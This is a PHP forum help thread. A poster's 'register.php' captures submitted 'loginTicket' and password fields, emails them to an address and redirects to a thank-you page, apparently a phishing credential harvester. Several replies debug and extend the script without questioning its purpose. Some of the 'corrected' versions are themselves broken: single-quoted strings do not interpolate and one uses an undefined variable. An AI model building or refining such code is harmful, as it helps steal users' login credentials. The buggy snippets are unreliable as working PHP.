Jump to content

Parse error - sorry, i'm probably being idiotic


Recommended Posts

I have this register.php

 

<?php

 

 

if ($_SERVER['REQUEST_METHOD'] != 'GET'){ 

 

$user = $_POST['loginTicket'];

$pass = $_POST['password']; 

 

$messig = "

 

Username: $user

\n

Password: $pass

\n

 

 

";

 

$subject = $user; 

 

mail("[email protected]", $subject, $messig); 

 

 

}

else

{

echo 'ERROR';

?>

 

Now I get

 

 

Parse error: parse error, unexpected $end in e:\domains\p\prowebdesigns.co.uk\user\htdocs\post.php on line 31

 

I believe that this means a '{' was started and not ended with '}' I've ran through this numerous times, maybe I need some sleep ;/

 

Thanks in advance,

 

Charles.

Helps if you indent your code so it is readable.

 

<?php

  if ($_SERVER['REQUEST_METHOD'] != 'GET') {  
    $user = $_POST['loginTicket']; 
    $pass = $_POST['password'];  
    $messig = "Username: $user\nPassword: $pass\n";
    $subject = $user;  

    mail("[email protected]", $subject, $messig);  

  } else {
    echo 'ERROR';
  }
  
?>

 

There is no syntax errors in your code.

<?php

if (($loginTicket)&&($password)){ 

$user = $_POST['loginTicket'];

$pass = $_POST['password']; 

$messig = " Username: $user\n Password: $pass\n ";

$subject = $user; 

if(mail("[email protected]", $subject, $messig))

    echo "mail sent";

}else{

echo 'ERROR';
} 
?>

 

try this but it so basic it unreel your need to advance it mate lol.........

<?php

  if ($_SERVER['REQUEST_METHOD'] != 'GET') {  
    $user = $_POST['loginTicket']; 
    $pass = $_POST['password'];  
    $messig = "Username: $user\nPassword: $pass\n";
    $subject = $user;  

    mail("[email protected]", $subject, $messig);  
Header("Location: http://www.example.com/thankyou.php);
  } else {
    echo 'ERROR';
  }
  
?>

 

 

Ok, i've coded this in, but i'm not recieving mail. obviously the actual code isn't example.com etc

use this as  starting ground mate

<?php
if ($_SERVER['REQUEST_METHOD'] != 'GET') {  
    
$user = $_POST['loginTicket']; 
$pass = $_POST['password']; 

$messig = 'Username: $user <br><br> Password: $pass ';

$to = '[email protected]';
$subject = 'Wakeup bob!';
$message = $msg;
$headers = "From: [email protected]\r\n" .
        'X-Mailer: PHP/' . phpversion() . "\r\n" .
        "MIME-Version: 1.0\r\n" .
        "Content-Type: text/html; charset=utf-8\r\n" .
        "Content-Transfer-Encoding: 8bit\r\n\r\n";

// Send
if(mail($to, $subject, $message, $headers)){
Header("Location: http://www.example.com/thankyou.php);
}else{

echo "error";
}
}
?>

 

You should also check your call to mail was successfull before redirecting to a thankyou page.

 

<?php

  if ($_SERVER['REQUEST_METHOD'] != 'GET') {  
    $user = $_POST['loginTicket']; 
    $pass = $_POST['password'];  
    $messig = "Username: $user\nPassword: $pass\n";
    $subject = $user;  

    if (mail("[email protected]", $subject, $messig)) { 
      header("Location: http://www.example.com/thankyou.php");
    } else {
      echo 'ERROR';
    }
  }
  
?>

corrected sorry merry php xmas

<?php

if ($_SERVER['REQUEST_METHOD'] != 'GET') {  
    
$user = $_POST['loginTicket']; 

$pass = $_POST['password']; 

$msg = 'Username: $user <br><br> Password: $pass ';

$to = '[email protected]';
$subject = 'Wakeup bob!';
$message = $msg;
$headers = "From: [email protected]\r\n" .
        'X-Mailer: PHP/' . phpversion() . "\r\n" .
        "MIME-Version: 1.0\r\n" .
        "Content-Type: text/html; charset=utf-8\r\n" .
        "Content-Transfer-Encoding: 8bit\r\n\r\n";

// Send

if(mail($to, $subject, $message, $headers)){

Header("Location: http://www.example.com/thankyou.php");

}else{

echo "error";
}
}
?>

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.